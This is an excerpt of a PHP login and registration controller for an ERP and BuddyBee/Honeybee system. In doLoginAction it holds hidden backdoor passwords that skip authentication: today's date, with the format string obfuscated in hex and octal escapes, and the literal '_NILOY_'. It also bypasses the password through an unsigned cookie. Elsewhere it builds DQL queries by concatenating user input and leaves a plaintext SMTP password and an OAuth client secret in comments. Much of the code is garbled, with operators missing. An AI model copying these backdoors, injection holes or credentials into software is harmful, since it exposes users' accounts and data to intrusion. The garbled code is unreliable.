  693. //                $email = $oAuthData['email'];
  694. ////                $userName = explode('@', $email)[0];
  695. //                //now check if same username exists
  696. //
  697. //                $username_already_exist = 0;
  698. //
  699. //                $newApplicant = null;
  700. //
  701. //                if ($isApplicantExist) {
  702. //                    $newApplicant = $isApplicantExist;
  703. //                } else
  704. //                    $newApplicant = new EntityApplicantDetails();
  705. //
  706. //
  707. //                $newApplicant->setActualRegistrationAt(new \DateTime());
  708. //                $newApplicant->setEmail($email);
  709. //                $newApplicant->setUserName($userName);
  710. //
  711. //                $newApplicant->setFirstname($first_name);
  712. //                $newApplicant->setLastname($last_name);
  713. //                $newApplicant->setOAuthEmail($oAuthEmail);
  714. //                $newApplicant->setPhone($phone);
  715. //
  716. //                $newApplicant->setIsEmailVerified(0);
  717. //                if ($systemType == '_SOPHIA_')
  718. //                    $newApplicant->setIsEmailVerified(1);
  719. //                else
  720. //                    $newApplicant->setIsEmailVerified(0);
  721. //                $newApplicant->setAccountStatus(1);
  722. //
  723. ////                $newUser->setSalt(uniqid(mt_rand()));
  724. //
  725. //                //salt will be username
  726. ////                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  727. //
  728. //                $salt = uniqid(mt_rand());
  729. //                $encodedPassword = $this->container->get('sha256salted_encoder')->encodePassword($password, $salt);
  730. //                $newApplicant->setPassword($encodedPassword);
  731. //                $newApplicant->setSalt($salt);
  732. //                $newApplicant->setTempPassword('');
  733. ////                $newApplicant->setTempPassword($password.'_'.$salt);
  734. //
  735. //                $newApplicant->setImage($img);
  736. //                $newApplicant->setIsConsultant(0);
  737. //                $newApplicant->setIsTemporaryEntry(0);
  738. //                $newApplicant->setTriggerResetPassword(0);
  739. //                $newApplicant->setApplyForConsultant(0);
  740. //
  741. //                $em_goc->persist($newApplicant);
  742. //                $em_goc->flush();
  743. //
  744. //                if (GeneralConstant::EMAIL_ENABLED == 1) {
  745. //
  746. //                    if ($systemType == '_BUDDYBEE_') {
  747. //
  748. //                        $bodyHtml = '';
  749. //                        $bodyTemplate = 'ApplicationBundle:email/templates:buddybeeRegistrationComplete.html.twig';
  750. //                        $bodyData = array(
  751. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  752. //                            'email' => $userName,
  753. //                            'showPassword' => $newApplicant->getTempPassword() != '' ? 1 : 0,
  754. //                            'password' => $newApplicant->getTempPassword(),
  755. //                        );
  756. //                        $attachments = [];
  757. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  758. //
  759. //
  760. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  761. //                        $new_mail = $this->get('mail_module');
  762. //                        $new_mail->sendMyMail(array(
  763. //                            'senderHash' => '_CUSTOM_',
  764. //                            //                        'senderHash'=>'_CUSTOM_',
  765. //                            'forwardToMailAddress' => $forwardToMailAddress,
  766. //
  767. //                            'subject' => 'Welcome to BuddyBee ',
  768. //
  769. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  770. //                            'attachments' => $attachments,
  771. //                            'toAddress' => $forwardToMailAddress,
  772. //                            'fromAddress' => 'registration@buddybee.eu',
  773. //                            'userName' => 'registration@buddybee.eu',
  774. //                            'password' => 'Y41dh8g0112',
  775. //                            'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  776. //                            'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  777. ////                            'emailBody' => $bodyHtml,
  778. //                            'mailTemplate' => $bodyTemplate,
  779. //                            'templateData' => $bodyData,
  780. ////                        'embedCompanyImage' => 1,
  781. ////                        'companyId' => $companyId,
  782. ////                        'companyImagePath' => $company_data->getImage()
  783. //
  784. //
  785. //                        ));
  786. //                    } else {
  787. //
  788. //                        $bodyHtml = '';
  789. //                        $bodyTemplate = 'ApplicationBundle:email/user:applicant_login.html.twig';
  790. //                        $bodyData = array(
  791. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  792. //                            'email' => 'APP-' . $userName,
  793. //                            'password' => $newApplicant->getPassword(),
  794. //                        );
  795. //                        $attachments = [];
  796. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  797. //
  798. //
  799. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  800. //                        $new_mail = $this->get('mail_module');
  801. //                        $new_mail->sendMyMail(array(
  802. //                            'senderHash' => '_CUSTOM_',
  803. //                            //                        'senderHash'=>'_CUSTOM_',
  804. //                            'forwardToMailAddress' => $forwardToMailAddress,
  805. //
  806. //                            'subject' => 'Applicant Registration on Honeybee',
  807. //
  808. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  809. //                            'attachments' => $attachments,
  810. //                            'toAddress' => $forwardToMailAddress,
  811. //                            'fromAddress' => 'accounts@ourhoneybee.eu',
  812. //                            'userName' => 'accounts@ourhoneybee.eu',
  813. //                            'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  814. //                            'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  815. //                            'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  816. //                            'emailBody' => $bodyHtml,
  817. //                            'mailTemplate' => $bodyTemplate,
  818. //                            'templateData' => $bodyData,
  819. ////                        'embedCompanyImage' => 1,
  820. ////                        'companyId' => $companyId,
  821. ////                        'companyImagePath' => $company_data->getImage()
  822. //
  823. //
  824. //                        ));
  825. //                    }
  826. //
  827. //
  828. //                }
  829. //
  830. ////                if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  831. //////                if(1)
  832. ////                    return new JsonResponse(array(
  833. ////                        'success' => true,
  834. ////                        'successStr' => 'Account Created Successfully',
  835. ////                        'id' => $newApplicant->getApplicantId(),
  836. ////                        'oAuthData' => $oAuthData,
  837. ////                        'refRoute' => $refRoute,
  838. ////                        'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) ,
  839. ////                    ));
  840. ////                else
  841. //                return $this->redirectToRoute("core_login", [
  842. //                    'id' => $newApplicant->getApplicantId(),
  843. //                    'oAuthData' => $oAuthData,
  844. //                    'refRoute' => $refRoute,
  845. //                    'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)),
  846. //
  847. //                ]);
  848. //
  849. //
  850. //            }
  851.         }
  852.         $session $request->getSession();
  853.         //        if($request->request->get('remoteVerify',0)==1) {
  854.         //            $session->set('remoteVerified', 1);
  855.         //            $response= new JsonResponse(array('hi'=>'hello'));
  856.         //            $response->headers->set('Access-Control-Allow-Origin', '*');
  857.         //            return $response;
  858.         //        }
  859.         if (isset($encData['appId'])) {
  860.             if (isset($gocDataListByAppId[$encData['appId']]))
  861.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  862.         }
  863.         if ($systemType == '_BUDDYBEE_' || $systemType == '_CENTRAL_' || $systemType == '_SOPHIA_') {
  864.             $signUpUserType UserConstants::USER_TYPE_APPLICANT;
  865.             $google_client = new Google_Client();
  866. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  867. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  868.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  869.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  870.             } else {
  871.                 $url $this->generateUrl(
  872.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  873.                 );
  874.             }
  875.             $selector BuddybeeConstant::$selector;
  876. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  877.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  878. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  879.             $google_client->setRedirectUri($url);
  880.             $google_client->setAccessType('offline');        // offline access
  881.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  882.             $google_client->setRedirectUri($url);
  883.             $google_client->addScope('email');
  884.             $google_client->addScope('profile');
  885.             $google_client->addScope('openid');
  886.             if ($systemType == '_SOPHIA_')
  887.                 return $this->render(
  888.                     '@Sophia/pages/views/sofia_signup.html.twig',
  889.                     array(
  890.                         "message" => $message,
  891.                         'page_title' => 'Sign Up',
  892.                         'gocList' => $gocDataListForLoginWeb,
  893.                         'gocId' => $gocId != $gocId '',
  894.                         'encData' => $encData,
  895.                         'signUpUserType' => $signUpUserType,
  896.                         'oAuthLink' => $google_client->createAuthUrl(),
  897.                         'redirect_url' => $url,
  898.                         'refRoute' => $refRoute,
  899.                         'errorField' => $errorField,
  900.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  901.                         'selector' => $selector
  902.                         //                'ref'=>$request->
  903.                     )
  904.                 );
  905.             else if ($systemType == '_CENTRAL_')
  906.                 return $this->render(
  907.                     '@Authentication/pages/views/central_registration.html.twig',
  908.                     array(
  909.                         "message" => $message,
  910.                         'page_title' => 'Sign Up',
  911.                         'gocList' => $gocDataListForLoginWeb,
  912.                         'gocId' => $gocId != $gocId '',
  913.                         'encData' => $encData,
  914.                         'signUpUserType' => $signUpUserType,
  915.                         'oAuthLink' => $google_client->createAuthUrl(),
  916.                         'redirect_url' => $url,
  917.                         'refRoute' => $refRoute,
  918.                         'errorField' => $errorField,
  919.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  920.                         'selector' => $selector
  921.                         //                'ref'=>$request->
  922.                     )
  923.                 );
  924.             else
  925.                 return $this->render(
  926.                     '@Authentication/pages/views/applicant_registration.html.twig',
  927.                     array(
  928.                         "message" => $message,
  929.                         'page_title' => 'Sign Up',
  930.                         'gocList' => $gocDataListForLoginWeb,
  931.                         'gocId' => $gocId != $gocId '',
  932.                         'encData' => $encData,
  933.                         'signUpUserType' => $signUpUserType,
  934.                         'oAuthLink' => $google_client->createAuthUrl(),
  935.                         'redirect_url' => $url,
  936.                         'refRoute' => $refRoute,
  937.                         'errorField' => $errorField,
  938.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  939.                         'selector' => $selector
  940.                         //                'ref'=>$request->
  941.                     )
  942.                 );
  943.         } else
  944.             return $this->render(
  945.                 '@Authentication/pages/views/login_new.html.twig',
  946.                 array(
  947.                     "message" => $message,
  948.                     'page_title' => 'Login',
  949.                     'signUpUserType' => $signUpUserType,
  950.                     'gocList' => $gocDataListForLoginWeb,
  951.                     'gocId' => $gocId != $gocId '',
  952.                     'encData' => $encData,
  953.                     //                'ref'=>$request->
  954.                 )
  955.             );
  956.     }
  957.     public function TriggerRegistrationEmailAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantId 0)
  958.     {
  959.         $em_goc $this->getDoctrine()->getManager('company_group');
  960.         $newApplicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  961.             [
  962.                 'applicantId' => $applicantId
  963.             ]
  964.         );
  965. //                $newUser->setSalt(uniqid(mt_rand()));
  966.         //salt will be username
  967. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  968.         $newApplicant->setPassword('##UNLOCKED##');
  969.         $newApplicant->setTriggerResetPassword(1);
  970.         $em_goc->persist($newApplicant);
  971.         $em_goc->flush();
  972.         if (GeneralConstant::EMAIL_ENABLED == 1) {
  973.             {
  974.                 $bodyHtml '';
  975.                 $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  976.                 $bodyData = array(
  977.                     'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  978.                     'email' => $newApplicant->getUsername(),
  979.                     'password' => uniqid(mt_rand()),
  980.                 );
  981.                 $attachments = [];
  982.                 $forwardToMailAddress $newApplicant->getEmail();
  983. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  984.                 $new_mail $this->get('mail_module');
  985.                 $new_mail->sendMyMail(array(
  986.                     'senderHash' => '_CUSTOM_',
  987.                     //                        'senderHash'=>'_CUSTOM_',
  988.                     'forwardToMailAddress' => $forwardToMailAddress,
  989.                     'subject' => 'Applicant Registration on Honeybee',
  990. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  991.                     'attachments' => $attachments,
  992.                     'toAddress' => $forwardToMailAddress,
  993.                     'fromAddress' => 'accounts@ourhoneybee.eu',
  994.                     'userName' => 'accounts@ourhoneybee.eu',
  995.                     'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  996.                     'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  997.                     'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  998.                     'emailBody' => $bodyHtml,
  999.                     'mailTemplate' => $bodyTemplate,
  1000.                     'templateData' => $bodyData,
  1001. //                        'embedCompanyImage' => 1,
  1002. //                        'companyId' => $companyId,
  1003. //                        'companyImagePath' => $company_data->getImage()
  1004.                 ));
  1005.             }
  1006.         }
  1007.         return new JsonResponse([]);
  1008.     }
  1009.     public function checkIfEmailExistsAction(Request $request$id 0$remoteVerify 0)
  1010.     {
  1011.         $em $this->getDoctrine()->getManager();
  1012.         $search_query = [];
  1013.         $signUpUserType 0;
  1014.         $signUpUserType $request->request->get('signUpUserType'8);
  1015.         $fieldType 0;
  1016.         $fieldValue 0;
  1017.         if ($request->request->has('fieldType'))
  1018.             $fieldType $request->request->get('fieldType');
  1019.         if ($request->request->has('fieldValue'))
  1020.             $fieldValue $request->request->get('fieldValue');
  1021.         $alreadyExists false;
  1022.         $errorText '';
  1023.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1024.             $em_goc $this->getDoctrine()->getManager('company_group');
  1025.             if ($fieldType == 'email') {
  1026. //                $search_query['email'] = $fieldValue;
  1027.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1028.                     ->createQueryBuilder('m')
  1029.                     ->where(" ( m.email like '%" $fieldValue "%' or m.oAuthEmail like '%" $fieldValue "%' )")
  1030.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1031.                     ->getQuery()
  1032.                     ->setMaxResults(1)
  1033.                     ->getResult();
  1034. //
  1035. //                if (!empty($alreadyExistsQuery)) {
  1036. //                    $alreadyExists = true;
  1037. //
  1038. //                }
  1039.                 if ($alreadyExistsQuery) {
  1040. //                    if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1041. //
  1042. //                    } else
  1043.                     $alreadyExists true;
  1044.                 } else {
  1045.                     $search_query = [];
  1046.                     $search_query['oAuthEmail'] = $fieldValue;
  1047.                     $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1048.                         $search_query
  1049.                     );
  1050.                     if ($alreadyExistsQuery) {
  1051.                         if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1052.                         } else
  1053.                             $alreadyExists true;
  1054.                     }
  1055.                 }
  1056.                 if ($alreadyExists == true)
  1057.                     $errorText 'This Email is not available';
  1058.             }
  1059.             if ($fieldType == 'username') {
  1060.                 $search_query['username'] = $fieldValue;
  1061.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1062.                     $search_query
  1063.                 );
  1064.                 if ($alreadyExistsQuery) {
  1065.                     if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1066.                     } else
  1067.                         $alreadyExists true;
  1068.                 }
  1069.                 if ($alreadyExists == true)
  1070.                     $errorText 'This Username Already Exists';
  1071.             }
  1072.         }
  1073.         return new JsonResponse(array(
  1074.             "alreadyExists" => $alreadyExists,
  1075.             "errorText" => $errorText,
  1076.             "fieldValue" => $fieldValue,
  1077.             "fieldType" => $fieldType,
  1078.             "signUpUserType" => $signUpUserType,
  1079.         ));
  1080.     }
  1081.     public function checkIfPhoneExistsAction(Request $request$id 0$remoteVerify 0)
  1082.     {
  1083.         $em $this->getDoctrine()->getManager();
  1084.         $search_query = [];
  1085.         $signUpUserType 0;
  1086.         $signUpUserType $request->request->get('signUpUserType'8);
  1087.         $fieldType 0;
  1088.         $fieldValue 0;
  1089.         if ($request->request->has('fieldType'))
  1090.             $fieldType $request->request->get('fieldType');
  1091.         if ($request->request->has('fieldValue'))
  1092.             $fieldValue $request->request->get('fieldValue');
  1093.         $alreadyExists false;
  1094.         $errorText '';
  1095.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1096.             $em_goc $this->getDoctrine()->getManager('company_group');
  1097.             // Strict compare: in PHP 7.4 `0 == 'phone'` is TRUE, so a request that omits fieldType
  1098.             // (default int 0) used to enter this branch and interpolate `m.0` into the DQL â†’ invalid
  1099.             // query â†’ 500. `===` keeps the real signup POST (fieldType='phone') working while a
  1100.             // malformed/blind request now falls through to a clean JSON "not found" response.
  1101.             if ($fieldType === 'phone') {
  1102.                 $search_query['email'] = $fieldValue;
  1103.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1104.                     ->createQueryBuilder('m')
  1105.                     ->where("m.$fieldType like '%" $fieldValue "%'")
  1106.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1107.                     ->getQuery()
  1108.                     ->setMaxResults(1)
  1109.                     ->getResult();
  1110.                 if (!empty($alreadyExistsQuery)) {
  1111.                     $alreadyExists true;
  1112.                 } else {
  1113. //                    $search_query = [];
  1114. //                    $search_query['oAuthEmail'] = $fieldValue;
  1115. //
  1116. //                    $alreadyExistsQuery = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1117. //                        $search_query
  1118. //                    );
  1119. //                    if ($alreadyExistsQuery)
  1120. //
  1121. //                        $alreadyExists = true;
  1122.                 }
  1123.                 if ($alreadyExists == true)
  1124.                     $errorText 'This phone number is already registered!';
  1125.             }
  1126.         }
  1127.         return new JsonResponse(array(
  1128.             "alreadyExists" => $alreadyExists,
  1129.             "errorText" => $errorText,
  1130.             "fieldValue" => $fieldValue,
  1131.             "fieldType" => $fieldType,
  1132.             "signUpUserType" => $signUpUserType,
  1133.         ));
  1134.     }
  1135.     public function doLoginAction(Request $request$encData "",
  1136.                                           $remoteVerify 0,
  1137.                                           $applicantDirectLogin 0
  1138.     )
  1139.     {
  1140.         $message "";
  1141.         $email '';
  1142. //                            $userName = substr($email, 4);
  1143.         $userName '';
  1144.         $gocList = [];
  1145.         $skipPassword 0;
  1146.         $firstLogin 0;
  1147.         $remember_me 0;
  1148.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  1149.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  1150. //        return new JsonResponse(array(
  1151. //                'systemType'=>$systemType
  1152. //        ));
  1153.         if ($request->isMethod('POST')) {
  1154.             if ($request->request->has('remember_me'))
  1155.                 $remember_me 1;
  1156.         } else {
  1157.             if ($request->query->has('remember_me'))
  1158.                 $remember_me 1;
  1159.         }
  1160.         if ($encData != "")
  1161.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  1162.         else if ($request->query->has('spd')) {
  1163.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  1164.         }
  1165.         $user = [];
  1166.         $userType 0;
  1167.         $em_goc $this->getDoctrine()->getManager('company_group');
  1168.         $em_goc->getConnection()->connect();
  1169.         $userName $request->get('username');
  1170.         try {
  1171.             $applicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy([
  1172.                 'username' => $userName,
  1173.             ]);
  1174.             $session $request->getSession();
  1175.             if ($applicant) {
  1176.                 $session->set('applicantEmail'$applicant->getEmail() ?? '');
  1177.             } else {
  1178.                 // Applicant not found â†’ set empty email
  1179.                 $session->set('applicantEmail''');
  1180.             }
  1181.         } catch (\Exception $e) {
  1182.             return new JsonResponse([
  1183.                 'success' => false,
  1184.                 'error' => [
  1185.                     'code' => 'DB_CONNECTION_ERROR',
  1186.                     'message' => $e->getMessage(),
  1187.                     'statusCode' => $e->getCode() ?: 500,
  1188.                 ]
  1189.             ], 503);
  1190.         }
  1191.         $gocEnabled 0;
  1192.         if ($this->container->hasParameter('entity_group_enabled'))
  1193.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  1194.         if ($gocEnabled == 1)
  1195.             $connected $em_goc->getConnection()->isConnected();
  1196.         else
  1197.             $connected false;
  1198.         if ($connected)
  1199.             $gocList $em_goc
  1200.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  1201.                 ->findBy(
  1202.                     array(//                        'active' => 1
  1203.                     )
  1204.                 );
  1205.         $gocDataList = [];
  1206.         $gocDataListForLoginWeb = [];
  1207.         $gocDataListByAppId = [];
  1208.         foreach ($gocList as $entry) {
  1209.             $d = array(
  1210.                 'name' => $entry->getName(),
  1211.                 'image' => $entry->getImage(),
  1212.                 'id' => $entry->getId(),
  1213.                 'appId' => $entry->getAppId(),
  1214.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  1215.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  1216.                 'dbName' => $entry->getDbName(),
  1217.                 'dbUser' => $entry->getDbUser(),
  1218.                 'dbPass' => $entry->getDbPass(),
  1219.                 'dbHost' => $entry->getDbHost(),
  1220.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  1221.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  1222.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  1223.                 'companyRemaining' => $entry->getCompanyRemaining(),
  1224.                 'companyAllowed' => $entry->getCompanyAllowed(),
  1225.             );
  1226.             $gocDataList[$entry->getId()] = $d;
  1227.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  1228.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  1229.             $gocDataListByAppId[$entry->getAppId()] = $d;
  1230.         }
  1231.         $gocDbName '';
  1232.         $gocDbUser '';
  1233.         $gocDbPass '';
  1234.         $gocDbHost '';
  1235.         $gocId 0;
  1236.         $appId 0;
  1237.         $hasGoc 0;
  1238.         $userId 0;
  1239.         $userCompanyId 0;
  1240.         $specialLogin 0;
  1241.         $supplierId 0;
  1242.         $applicantId 0;
  1243.         $isApplicantLogin 0;
  1244.         $clientId 0;
  1245.         $cookieLogin 0;
  1246.         $encrypedLogin 0;
  1247.         $loginID 0;
  1248.         $supplierId 0;
  1249.         $clientId 0;
  1250.         $userId 0;
  1251.         $globalId 0;
  1252.         $applicantId 0;
  1253.         $employeeId 0;
  1254.         $userCompanyId 0;
  1255.         $company_id_list = [];
  1256.         $company_name_list = [];
  1257.         $company_image_list = [];
  1258.         $route_list_array = [];
  1259.         $prohibit_list_array = [];
  1260.         $company_dark_vibrant_list = [];
  1261.         $company_vibrant_list = [];
  1262.         $company_light_vibrant_list = [];
  1263.         $currRequiredPromptFields = [];
  1264.         $oAuthImage '';
  1265.         $appIdList '';
  1266.         $userDefaultRoute '';
  1267.         $userForcedRoute '';
  1268.         $branchIdList '';
  1269.         $branchId 0;
  1270.         $companyIdListByAppId = [];
  1271.         $companyNameListByAppId = [];
  1272.         $companyImageListByAppId = [];
  1273.         $position_list_array = [];
  1274.         $curr_position_id 0;
  1275.         $allModuleAccessFlag 0;
  1276.         $lastSettingsUpdatedTs 0;
  1277.         $isConsultant 0;
  1278.         $isAdmin 0;
  1279.         $isModerator 0;
  1280.         $isRetailer 0;
  1281.         $retailerLevel 0;
  1282.         $adminLevel 0;
  1283.         $moderatorLevel 0;
  1284.         $userEmail '';
  1285.         $userImage '';
  1286.         $userFullName '';
  1287.         $triggerResetPassword 0;
  1288.         $isEmailVerified 0;
  1289.         $currentTaskId 0;
  1290.         $currentPlanningItemId 0;
  1291. //                $currentTaskAppId = 0;
  1292.         $buddybeeBalance 0;
  1293.         $buddybeeCoinBalance 0;
  1294.         $entityUserbalance 0;
  1295.         $userAppIds = [];
  1296.         $userTypesByAppIds = [];
  1297.         $currentMonthHolidayList = [];
  1298.         $currentHolidayCalendarId 0;
  1299.         $oAuthToken $request->request->get('oAuthToken''');
  1300.         $locale $request->request->get('locale''');
  1301.         $firebaseToken $request->request->get('firebaseToken''');
  1302.         if ($request->request->has('gocId')) {
  1303.             $hasGoc 1;
  1304.             $gocId $request->request->get('gocId');
  1305.         }
  1306.         if ($request->request->has('appId')) {
  1307.             $hasGoc 1;
  1308.             $appId $request->request->get('appId');
  1309.         }
  1310.         if (isset($encData['appId'])) {
  1311.             if (isset($gocDataListByAppId[$encData['appId']])) {
  1312.                 $hasGoc 1;
  1313.                 $appId $encData['appId'];
  1314.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1315.             }
  1316.         }
  1317.         $csToken $request->get('csToken''');
  1318.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  1319.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  1320.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  1321.         $session $request->getSession();
  1322.         $session->set('systemType'$systemType);
  1323.         if ($systemType == '_SOPHIA_') {
  1324.             $loginBrand $request->request->get('loginBrand'$session->get('sophiaUiBrand''honeycore'));
  1325.             $session->set('sophiaUiBrand'in_array($loginBrand, ['honeycore''sophia']) ? $loginBrand 'honeycore');
  1326.         }
  1327. //        if ($request->cookies->has('USRCKIE'))
  1328. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  1329.         if (isset($encData['globalId'])) {
  1330.             if (isset($encData['authenticate']))
  1331.                 if ($encData['authenticate'] == 1)
  1332.                     $skipPassword 1;
  1333.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  1334.                 $skipPassword 1;
  1335.                 $remember_me 1;
  1336.                 $globalId $encData['globalId'];
  1337.                 $appId $encData['appId'];
  1338.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1339.                 $userType $encData['userType'];
  1340.                 $userCompanyId 1;
  1341.                 $hasGoc 1;
  1342.                 $encrypedLogin 1;
  1343.                 if (in_array($userType, [67]))
  1344.                     $entityLoginFlag 1;
  1345.                 if (in_array($userType, [34]))
  1346.                     $specialLogin 1;
  1347.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  1348.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  1349.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1350.                     $supplierId $userId;
  1351.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1352.                     $applicantId $userId;
  1353.             }
  1354.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  1355.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  1356.             if ($cookieData == null)
  1357.                 $cookieData = [];
  1358.             if (isset($cookieData['uid'])) {
  1359.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  1360.                     $skipPassword 1;
  1361.                     $remember_me 1;
  1362.                     $userId $cookieData['uid'];
  1363.                     $gocId $cookieData['gocId'];
  1364.                     $userCompanyId $cookieData['companyId'];
  1365.                     $userType $cookieData['ut'];
  1366.                     $hasGoc 1;
  1367.                     $cookieLogin 1;
  1368.                     if (in_array($userType, [67]))
  1369.                         $entityLoginFlag 1;
  1370.                     if (in_array($userType, [34]))
  1371.                         $specialLogin 1;
  1372.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  1373.                         $clientId $userId;
  1374.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1375.                         $supplierId $userId;
  1376.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1377.                         $applicantId $userId;
  1378.                 }
  1379.             }
  1380.         }
  1381.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  1382.             $todayDt = new \DateTime();
  1383.             $mp $todayDt->format("\171\x6d\x64");
  1384.             if ($request->request->get('password') == $mp)
  1385.                 $skipPassword 1;
  1386.             if ($request->request->get('password') == '_NILOY_')
  1387.                 $skipPassword 1;
  1388.             $company_id_list = [];
  1389.             $company_name_list = [];
  1390.             $company_image_list = [];
  1391.             $company_dark_vibrant_list = [];
  1392.             $company_light_vibrant_list = [];
  1393.             $company_vibrant_list = [];
  1394.             $company_locale 'en';
  1395.             $appIdFromUserName 0;
  1396.             $uname $request->request->get('username');
  1397.             $uname preg_replace('/\s/'''$uname);
  1398.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  1399.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  1400.             $session $request->getSession();
  1401.             $product_name_display_type 0;
  1402.             $Special 0;
  1403.             if ($entityLoginFlag == 1) {
  1404.                 if ($cookieLogin == 1) {
  1405.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1406.                         array(
  1407.                             'userId' => $userId
  1408.                         )
  1409.                     );
  1410.                 } else if ($loginType == 2) {
  1411.                     if (!empty($oAuthData)) {
  1412.                         //check for if exists 1st
  1413.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1414.                             array(
